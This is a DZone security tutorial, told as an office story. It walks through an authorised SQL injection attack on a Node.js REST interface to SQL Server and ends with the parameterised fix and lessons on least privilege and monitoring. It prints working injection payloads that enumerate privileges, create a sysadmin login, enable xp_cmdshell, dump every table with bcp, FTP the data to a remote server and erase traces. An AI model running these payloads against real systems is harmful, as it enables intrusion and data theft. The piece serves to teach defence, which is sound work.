Over a million developers have joined DZone.
{{announcement.body}}
{{announcement.title}}

Picking Over the Bones of a SQL Injection Attack

DZone's Guide to

Picking Over the Bones of a SQL Injection Attack

A data breach can happen to anyone, anywhere.

· Security Zone ·
Free Resource

Compliant Database DevOps: Deliver software faster while keeping your data safe. This new whitepaper guides you through 4 key ways Database DevOps supports your data protection strategy. Read free now

Some developers are like bikers. They think, or rather hope, that accidents, intrusions, and disasters are what happen to other people.

They aren't.

The Developer

Joe De Vell sat blinking in some confusion at the unexpected errors scrolling suddenly down his command line screen. It was output from his new SQL Server REST interface, built using NodeJS. How odd. He hadn't been using the interface for the last half hour! Perhaps, NodeJS was spontaneously caught in a looping error, as it might if running out of memory resources?

The team had only a few days previously been congratulating themselves on the speed with which they'd managed to get this pilot project up and running. AdventureWorks were under pressure to get their database working with the new website, which was based on SQL Server Express, AngularJS, and Node.js.

Joe had built the interface and connected it up to the main development database, which he'd restored from a recent backup. They'd run a few tests within the development department to make sure it worked, and then added it to the public facing site for some further tests, simulating usage by the AdventureWorks shops with internet latency.

This morning, he'd been running tests with CURL. He was executing NodeJS remotely in a command-shell rather than running it as a service and watching the output from Node. He had been worried about occasional errors to do with unhandled promises from the mssql driver and had been busy Googling when he'd suddenly noticed the command-line screen scrolling with all these errors.

After a while, the scrolling paused. In the middle of the command, shell was one of the errors. It was an EREQUEST error. One of the error lines read:

'Error: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.'


He was baffled. What is going on? Suddenly, Joe sensed a looming presence at his shoulder...

The DBA

Grant 'Deny' De Beay, the rather strong-willed Database Admin, uttered a choice few words that couldn't be repeated before the 9.00 pm watershed.

"So... I take it you guys are developing on the Staging server? I'm getting all sorts of security alerts for SQL errors, tables being created, and worse."

"Err. No. Well, yes, but...."

Grant causally leaned forward and aborted the NodeJS session with a Ctrl-C. He then pulled up his SQL Monitor dashboard to show them the alerts.

Grant pointed to the bottom two, SuspiciousErrors and Database Drift. "These alerts mean we're seeing a lot of SQL errors and metadata changes from adding, altering, dropping objects. Was that you?"

"Well, err, no. I mean, yes. Maybe a few, but..."

"And what about these two, change to a login, role or user and DatabaseConfiguration Setting Changed? Who has been altering permissions and changing configuration settings? I already set all those up for you, including all the elevated permissions you insist you need"

"Now, no, that wasn't us... we know not to mess with those!"

Grant went over to a console and executed a query, his reporting query for his custom Security alerts, which provided a 'narrative' of the changes that had been made. He did not like what he saw one bit.

He stared at it, exercising his finely-tuned anger-management skills, before looking up.

"Look at all this... this is all done by your NodeJS login, AdventureWorksMobile! There are all these SQL errors. Then, you've used your own sysadmin login to create a new MSSecurtiyMtr sysadmin login! Ad Hoc Distributed Queries and xp_cmdshell have been enabled! What the heck is going on here?!"

Joe was ashen-faced. "Yes, that's our app login, but... we didn't make those changes. Honestly."

Grant sighed, weary. "I knew it was a terrible idea to let you two use admin logins on Staging. We're going to have to call in the security team. Someone has hacked into the system..."

The Security Guy

Phil Factor, the Security guy, wandered in. "How's tricks?" he asked, cheerily.

The figures slumped disconsolately across the office furniture told him all he needed to know.

Grant started the discussion. "Someone here set up a NodeJS interface and used a sysadmin login and password, just to get a demo system up and running."

"And?"

"And... it looks like it got hacked. I've not gone into the details, but it has all the hallmarks of a SQL Injection attack. They even enabled xp_cmdshell, probably to copy a payload off the staging server. By now, our data could be in China, Poland, Uzbekistan, or who knows!"

All eyes were on Phil Factor, expecting him to spontaneously combust, in anger. Phil didn't self-immolate. Instead, he smiled.

"Yes, in fact, the attacker managed to copy all the company's data off the database and on to an FTP server. But not in Uzbekistan, thankfully."

Joe stared at Phil, gaping. How did he know?

"The truth is, I did it."

Phil allowed a long pause to let this sink in, before smiling knowingly at Grant who also suddenly broke into a wide grin.

"I hacked your application, with Grant's and management's consent, to investigate and to demonstrate how quickly a careless mistake can be exploited."

Joe was dumbfounded.

"But, how did you even know about our Test Node application? It's only been up a couple of days!"

"Simple. I am a security guy. I'm routinely port-scanning every server we have, and I was alerted to the server's firewall having another port opened. I probed the port and found it was an active Node JS service. The default REST call brings up a response. Once I had a good endpoint, I just had to probe for weaknesses in the code and, well, you almost made it too easy for me."

"But... why? how?"

"I'm glad you asked because I can show you the PowerShell script I used. I'll tidy it up and document it, for you to study, but I'll step you through the main parts now because, hopefully, you'll see how easy it is to hack an unprotected connection, whether it is ODBC, Rest, or even a web page. I could have done it all from a web page."

The Flaw

"Before I reveal my attack script, Joe, can you show me the code that made my attack possible?"

Joe had built a simple NodeJS interface, and it looked like this...

const express = require('express'); // minimalist web framework for Node.js
const app = express();
const sql = require('mssql'); // Microsoft SQL Server client for Node.js

process.on('unhandledRejection', error => {
  // 
  console.log('Promise Rejection!', error.message);
});

//In addition to configuration object there is an option to pass config
// as a connection string. Two formats of connection string are supported.
// configuration parameters.
const sqlConfig = {
  user: 'AdventureWorksMobile',
  password: 'cunningpassword',
  server: 'AWStaging',
  database: 'Adventureworks2016'
}

// Start server and listen on http://localhost:8081/
var server = app.listen(8081, function() {
  var host = server.address().address
  var port = server.address().port

  console.log("app listening at http://%s:%s", host, port)
});

const connection = new sql.ConnectionPool(sqlConfig)
// define a simple route
app.get('/', function(req, res) {
    res.json({"message": "Welcome to Adventureworks Sample App."});
});

// if you plan to work with local temporary tables, use batch instead. //
//uses sp_ExecuteSQL
app.get('/adventure/:customerId/', function(req, res) {
  connection.connect().then(pool => { //Using a single connection pool is recommended
    var stringRequest = 'select * from Sales.Customer where (customerId = ' + req.params.customerId+')';
    return pool.request().query(stringRequest)
  }).then(result => {
    let rows = result.recordset
    res.setHeader('Access-Control-Allow-Origin', '*')
    res.status(200).json(rows);
    connection.close(function(err){
      if (err){
      console.log(err);
      }
    });
  }).catch(err => {
    console.log(err);
    res.status(500).send({
      message: err.originalError.info.message
    })
    connection.close();
  });
});

app.get('/adventureproc/:customerId/', function(req, res) {
  connection.connect() //get a connection from the pool
    .then(function() {
      const request = new sql.Request(connection); //create a request
      request.input("BusinessEntityID", req.params.customerId);// name, type, value
      request.execute("uspGetEmployeeManagers")//the name of the procedure
        .then(result => {
          let rows = result.recordset //first recordset
          res.setHeader('Access-Control-Allow-Origin', '*')
          res.status(200).json(rows);
          connection.close();
        }).catch(err => {
          console.log(err);
          res.status(500).send({
            message: err.originalError.info.message
          })
          connection.close(); //send the connection back to the pool
        });
    })
});


Grant put his head in his hands. Phil suppressed a fit of the giggles. "Yes, well, I couldn't do much damage with the stored procedure, but that query was a different matter. The critical errors are in this bit:"

app.get('/adventure/:customerId/', <strong>function</strong>(req, res) <strong>{</strong>
connection.connect().then(pool <strong>=></strong> <strong>{</strong> <em>//Using a single connection pool is recommended</em>
<strong> var stringRequest = 'select * from Sales.Customer where (customerId = ' + req.params.customerId+')';</strong>


"I won't spoil the surprise. Let me demonstrate what this meant I was able to do..."

The Hack

Phil proudly opened his automated PowerShell attack script. "Don't worry about the 'dark side' getting hold of this, by the way. They have much better scripts already. There is nothing they can learn from me."

So here, I'm just executing the query you provided, with a value of 1 for the CustomerID parameter. Sure enough, the row is returned, and already, I've spotted your first mistake.

PS Z:\> Write-Host  -ForegroundColor 'yellow' "... I'm testing the query on $ThebaseURI/Adventure, running it properly. Parameter 1"
Try { Invoke-RestMethod -Method 'Get' -Uri ($ThebaseURI + '/adventure/1')
} Catch { write-warning $_}
... I'm testing the query on http://localhost:8081/Adventure, running it properly. Parameter 1
VERBOSE: GET http://localhost:8081/adventure/1 with 0-byte payload
VERBOSE: received 184-byte response of content type application/json; charset=utf-8

CustomerID    : 1
PersonID      : 
StoreID       : 934
TerritoryID   : 1
AccountNumber : AW00000001
rowguid       : 3F5AE95E-B87D-4AED-95B4-C3797AFCB74F
ModifiedDate  : 2014-09-12T11:15:07.263Z


Joe was confused. "That's exactly how it's supposed to work!"

Grant interjected. "The mistake Phil means is that this is production data and you're using it to do development work! You should be using masked clones, as I told you, not just restoring old production backups!"

Joe shut up. Phil continued

Early Stages: Suspicious Errors

I tried supplying the string silly instead of an integer and immediately discovered your next mistake. Well, two mistakes.

... I'm checking to see if the query is parameterized
VERBOSE: GET http://localhost:8081/adventure/silly with 0-byte payload
WARNING: {"message":"Invalid column name 'silly'."}


I see a lovely clear error message, and this tells me two things. Firstly, you're doing no client-side input validation. This query expects an INT, but I've given it a string. You should be running checks in your code, and if the input isn't the right type or format, it should never make it to the server. Secondly, it's telling me that you're just concatenating the string I provided directly into the SQL string that SQL Server executes. There's no parameterization going on here! I now know this code is vulnerable to SQL Injection attack.

Now, I'm trying to get it to execute a second query, but I've got the format wrong.

... I'm trying an alternative to get it to execute the second query
VERBOSE: GET http://localhost:8081/adventure/4);select silly with 0-byte payload
WARNING: {"message":"Incorrect syntax near ')'."}


SQL Server tried to execute this...

select * from Sales.Customer where (customerId = 4);SELECT silly);


...and doesn't like the closing bracket.

This error, and the earlier 207 error, gets picked up by Grant's SuspiciousErrors custom monitor. I don't want to cause too many of these SQL errors, but when one's trying to navigate a schema 'blind,' one will need to cause a few. Sadly, or happily from an attacker's point of view, there is usually no monitoring in place to catch these 'early warning' signals.

Sure enough, as soon as I comment out the trailing bracket, I'm airborne. It's tried to execute the second query.

PS Z:\> Write-Host  -ForegroundColor 'yellow' "... I forgot to comment-out the trailing bracket"
Try {Invoke-RestMethod -Method 'Get' -Uri ($ThebaseURI + '/adventure/4);select silly --')
} Catch { write-warning $_}
... I forgot to comment-out the trailing bracket
VERBOSE: GET http://localhost:8081/adventure/4);select silly -- with 0-byte payload
WARNING: {"message":"Invalid column name 'silly'."}


Look what happens if I modify the WHERE clause, appending an OR 1=1 condition so that it evaluates to TRUE for every row. I get the whole table instead of just one row!

PS Z:\> Write-Host  -ForegroundColor 'yellow' "... I want to get the entire table rather than one row"
Try {Invoke-RestMethod -Method 'Get' -Uri ($ThebaseURI + '/adventure/1 or 1=1')|format-table
} Catch { write-warning $_}
... I want to get the entire table rather than one row
VERBOSE: GET http://localhost:8081/adventure/1 or 1=1 with 0-byte payload
VERBOSE: received 3736425-byte response of content type application/json; charset=utf-8

CustomerID PersonID StoreID TerritoryID AccountNumber rowguid ModifiedDate 
---------- -------- ------- ----------- ------------- ------- 
         1              934           1 AW00000001    3F5AE95E-B87D-4AED-95B4-C3797AFCB74F 2014-09-12T11:15:07.263Z
         2             1028           1 AW00000002    E552F657-A9AF-4A7D-A645-C429D6E02491 2014-09-12T11:15:07.263Z
         3              642           4 AW00000003    130774B1-DB21-4EF3-98C8-C104BCD6ED6D 2014-09-12T11:15:07.263Z
         4              932           4 AW00000004    FF862851-1DAA-4044-BE7C-3E85583C054D 2014-09-12T11:15:07.263Z
         5             1026           4 AW00000005    83905BDC-6F5E-4F71-B162-C98DA069F38A 2014-09-12T11:15:07.263Z
         6              644           4 AW00000006    1A92DF88-BFA2-467D-BD54-FCB9E647FDD7 2014-09-12T11:15:07.263Z
         7              930           1 AW00000007    03E9273E-B193-448E-9823-FE0C44AEED78 2014-09-12T11:15:07.263Z


The UNION ALL Trick: Broadening the Attack

Now, I know 7 columns are returned; I can find out if the UNIONALL trick is going to allow me to get more than one result.

... Now I'm Seeing whether the UNION trick works
VERBOSE: GET http://localhost:8081/adventure/1)
     union all Select null, null, null, null, null, null, null -- with 0-byte payload
VERBOSE: received 310-byte response of content type application/json; charset=utf-8


CustomerID    : 1
PersonID      : 
StoreID       : 934
TerritoryID   : 1
AccountNumber : AW00000001
rowguid       : 3F5AE95E-B87D-4AED-95B4-C3797AFCB74F
ModifiedDate  : 2014-09-12T11:15:07.263Z

CustomerID    : 
PersonID      : 
StoreID       : 
TerritoryID   : 
AccountNumber : 
rowguid       : 
ModifiedDate  :


That worked! Now, if I just suppress the results of the first query by appending an impossible OR1=2 condition and matching the datatypes of the second query in the UNIONALL to those returned by the first, then I can get back any results I like!

In the next bit, I'm using the AccountNumber string to return the server and database names and the integers to find out which privileges our user connection has.

... Get the basic information about the login assigned to the REST interface
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2) 
  union select IS_SRVROLEMEMBER('diskadmin', system_user) , 
               IS_SRVROLEMEMBER('securityadmin', system_user), 
               IS_SRVROLEMEMBER('sysadmin', system_user), 
               IS_SRVROLEMEMBER('serveradmin', system_user),
               'server '+@@ServerName+'-'+system_user+' '+current_user,null,null
  union select IS_MEMBER('db_owner') , 
               IS_MEMBER('db_securityadmin'), 
               IS_MEMBER('db_accessadmin'), 
               IS_MEMBER('db_ddladmin'),
               'Database ='+db_name()+' '+system_user+' '+current_user,null,null
               -- with 0-byte payload
VERBOSE: received 322-byte response of content type application/json; charset=utf-8


CustomerID    : 1
PersonID      : 1
StoreID       : 1
TerritoryID   : 1
AccountNumber : Database =AdventureWorks2016 AdventureWorksMobile dbo
rowguid       : 
ModifiedDate  : 

CustomerID    : 1
PersonID      : 1
StoreID       : 1
TerritoryID   : 1
AccountNumber : server AWStaging-AdventureWorksMobile dbo
rowguid       : 
ModifiedDate  :


"Oh dear" was an understatement from Grant. "Yes, they've used their development login on the interface rather than wait in a queue to get a suitable login. And like most developers, it has Sysadmin access to Staging."

"Indeed," said Phil, "and now, you are in deep trouble I'm afraid.

I can get at the system tables and have a sniff around from any interesting columns. Ooh look, credit cards!

... Using the system tables to search for sensitive columns
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2 )
   union 
    select 
      column_id,system_type_id,max_length,object_id,
      Object_Schema_Name(object_id)+ '.'+Object_Name(object_id)+ '.'+ name,
      null,null
    FROM sys.columns 
      WHERE name LIKE '%25card%25' 
        OR Object_Name(object_id) LIKE '%25card%25'-- with 0-byte payload
VERBOSE: received 3216-byte response of content type application/json; charset=utf-8

 Object_id   column                                System_Type_id Max_Length Column_id
 --------- ------ -------------- ---------- ---------
1189579276 Sales.CreditCard.CreditCardID           56          4          1 
1189579276 Sales.CreditCard.CardType               231        100         2
1189579276 Sales.CreditCard.CardNumber             231         50         3
..etc..


Elevating Permissions

At some point, an attacker will want their own login, especially if they intend to get the payload off to a remote server. So, next, I use your elevated-privilege application login to create my own sysadmin login.

... Create our own SQL Server sysadmin login
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
    CREATE LOGIN MSSecurityMtr WITH PASSWORD = 'NowIHave@SysAdminPWDHo!Ho!Ho!';
    EXEC master..sp_addsrvrolemember @loginame = N'MSSecurityMtr', @rolename = N'sysadmin' -- with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8


Grant's custom monitor for access control and permission changes picks this up, but nevertheless, I now have sysadmin access using a SQL Server login. I can probably now attack the SQL Server directly if I know its address. However, I can still do plenty of damage just using the NodeJs login.

Making SQL Server Configuration Changes

I'll need to use OPENROWSET to connect to my remote server, and I'll also need to run some OS commands. No problem, I can activate advanced configuration options like AdHocDistributedQueries or xp_cmdshell. Again, Grant is monitoring for these changes, as you saw earlier.

... See if we can change the configuration
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
use AdventureWorks2016
execute sp_configure 'show advanced options',1;
reconfigure with override;
execute sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure with override;
-- with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8


This works. I now have full control over this server and can keep control even if the DBA spots that the user assigned has too many permissions.

Stealing the Data

There were a couple of critical steps to the final part of my attack. For starters, I need to get a directory listing. This requires two steps, first creating a table to store the details and then reading from the table.

I had a slight hiccough here when I initially saved the directory details to a temporary table, because when I tried to connect again to read from it, I was scuppered by connection pooling; my original connection was no longer there.

This meant I had to create a permanent table, execute the directory commands to get the data, then read back the contents and drop the table. It worked a treat.

... Right. We have to use a permanent table to get a file listing
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
create table MS_Temp267 (TheORDER int identity,  theLine NVARCHAR(255));
INSERT INTO MS_Temp267(theLine) EXECUTE  xp_cmdshell 'dir c:%5C';
INSERT INTO MS_Temp267(theLine) EXECUTE  xp_cmdshell 'net use';
INSERT INTO MS_Temp267(theLine) EXECUTE  xp_cmdshell 'wmic logicaldisk list brief'--; with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8
... now read back the contents of the temp table
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2) union all 
SELECT NULL,NULL,NULL,NULL,TheLine,NULL,NULL FROM MS_Temp267;drop table MS_Temp267-- with 0-byte payload
VERBOSE: received 4542-byte response of content type application/json; charset=utf-8

Table                                                                     
-----                                                                     
 Volume in drive C is System                                              
 Volume Serial Number is 7C3A-C040                                        

 Directory of c:\                                                         

12/09/2016  11:35    <DIR>          Logs                                  
14/03/2018  17:38    <DIR>          PerfLogs                              
14/03/2018  17:52    <DIR>          Program Files                         
22/01/2018  15:51    <DIR>          Program Files (x86)                   
16/11/2018  10:50    <DIR>          SQLBackups                            
30/11/2018  17:08    <DIR>          SQLData                               
12/06/2018  17:52    <DIR>          Temp                                  
01/05/2018  13:38    <DIR>          Users                                 
16/11/2018  17:47    <DIR>          Windows                               
28/02/2018  16:13    <DIR>          XMLData                               
               0 File(s)              0 bytes                             
              12 Dir(s)  27,775,627,264 bytes free                        

New connections will be remembered.                                       

There are no entries in the list.                                         

DeviceID  DriveType  FreeSpace    ProviderName  Size         VolumeName...
C:        3          27775627264                85897244672  System    ...


Because Grant was actively monitoring for metadata changes, he detected that I'd created this table. Otherwise, you might never know.

Now, I knew I had a C:\ drive to work with, so I just created a DataBackups directory on it, and then, I used bcp to dump all the data into it.

... dump the entire database in a directory
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
EXEC sp_msforeachtable 'xp_cmdshell ''bcp  %3F  out  C:%5CDataBackups%5C%3F.data -n -N -dAdventureWorks2016 -UMSSecurityMtr -PDtctTn2L2TXqfuqb -STONY-SQL2017'';'-- with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8


Again, it worked like a treat.

That done, I reached the 'payload' of the attack where I FTP all this data across to my own FTP server.

... Now ship the payload of AdventureWorks2016.TONY-SQL2017 out to our remote FTP site
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
Execute xp_cmdshell 'echo open >C:%5CDataBackups%5Coutput.txt';
Execute xp_cmdshell 'echo >>C:%5CDataBackups%5Coutput.txt';
Execute xp_cmdshell 'echo >>C:%5CDataBackups%5Coutput.txt';
Execute xp_cmdshell 'echo prompt>>C:%5CDataBackups%5Coutput.txt';
Execute xp_cmdshell 'echo cd >>C:%5CDataBackups%5Coutput.txt';
Execute xp_cmdshell 'echo mput C:%5CDataBackups%5C* >>C:%5CDataBackups%5Coutput.txt';
Execute xp_cmdshell 'ftp -s:C:%5CDataBackups%5Coutput.txt'-- with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8


And here is the sobering sight of all your data on my remote FTP server:

Finally, I just cover my tracks by deleting the directory, resetting the configuration settings, and so on.

... Now let's tear-down and cover our tracks
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
use AdventureWorks2016
EXEC sp_configure @configname='hadoop connectivity';  
execute sp_configure 'show advanced options',1;
reconfigure with override;
Execute xp_cmdshell 'del C:%5CDataBackups%5C*.* %2FQ'
Execute xp_cmdshell 'rmdir C:%5CDataBackups'
execute sp_configure 'Ad Hoc Distributed Queries',0;
execute sp_configure 'xp_cmdshell', 0;  
reconfigure with override;
-- with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8

Unless you were monitoring, you might never know it happened at all.

The Fix

If anything, Joe looked even more ashen of the face than he did when he thought their data might now be in Uzbekistan.

Phil tried to perk him up.

"Don't feel too bad, Joe. Yes, in retrospect, it was silly, but when you're under pressure and racing to add features, developers can easily forget the need for basic security precautions. The first mistake in the code was having an unparameterized query. However, this wouldn't have been so dangerous, if you had checked and validated the string that was passed to the query. It should have been an integer and therefore should have been checked.

Fortunately, the code fix is simple, and I'm sure you'll never forget it again. That app.get should have been first validated and then parameterized, like this, to prevent any malicious user from getting into the system..."

app.get('/adventure/:customerId/', function(req, res) {
  connection.connect().then(pool => { //Using a single connection pool is recommended
    var conn=pool.request()
    var forInteger = /\b\d+\b/i; //make sure that there is only an integer.
    if (forInteger.test(req.params.customerId)) { //check whether it was an integer
       conn.input('input_parameter', sql.Int, req.params.customerId)}
    else {conn.input('input_parameter', sql.Int, 1)} //otherwise just pass a 1
    var string = 'select * from Sales.Customer where customerId = @input_parameter'
    return conn.query(string)
  }).then(result => {
    let rows = result.recordset
    res.setHeader('Access-Control-Allow-Origin', '*')
    res.status(200).json(rows);
    connection.close();
  }).catch(err => {
    console.log(err);
    res.status(500).send({
      message: err.originalError.info.message
    })
    connection.close();
  });
});


The Lessons

What are the main lessons? I can think of a few good ones:

  • Never allow personal or sensitive data to leave the security of the production server. Either mask the data so that you are sure it is safe to use or else generate the data from scratch.
  • Never use logins that can do more than you need them to do. If you want a login to read from a couple of tables and nothing else, then why use something that can do much more?
  • Always parameterize your queries
  • Always do client-side input validation.
  • Haven taken all precautions to secure your servers and database from intrusion, you still need to have monitoring in place, to spot any attempts at an illegal or unauthorized activity.

Don't forget that I was demonstrating a pre-prepared and automated attack. End-to-end, it took only a couple of minutes to run and copy off your data.

Generally, a cyber-attack will take longer — hours or days rather than minutes, unless the attacker has acquired 'insider knowledge.' The attacker will need to navigate through your schema 'blind' and will trigger quite a few of those SQL syntax errors. That's why that Suspicious Errors customer monitor is such as useful "canary in the mine." It will alert you as early as possible to signs of attempted intrusion. The cause might be entirely innocuous, but at least you can investigate and batten down hatches if it's not. The other custom monitors for permission changes, configuration changes, and object changes are your next line of defense and are equally useful for detecting unauthorized changes made internally.

The important thing is that with a tool like SQL Monitor, you get not only the early warning in the form of the alerts but also can quickly query the diagnostic data behind the alerts to get a 'narrative' of what changes were made by whom and when.

Don't forget that once someone has sysadmin privilege they can do pretty much anything — even turn off any native monitoring systems. If you have a third-party tool, then you will at least always be warned if this happens.

Read this new Compliant Database DevOpswhitepaper now and see how Database DevOps complements data privacy and protection without sacrificing development efficiency. Download free.

Topics:
sql server ,sql injection attack ,security ,SQL injection ,data breach ,database security

Published at DZone with permission of

Opinions expressed by DZone contributors are their own.

{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}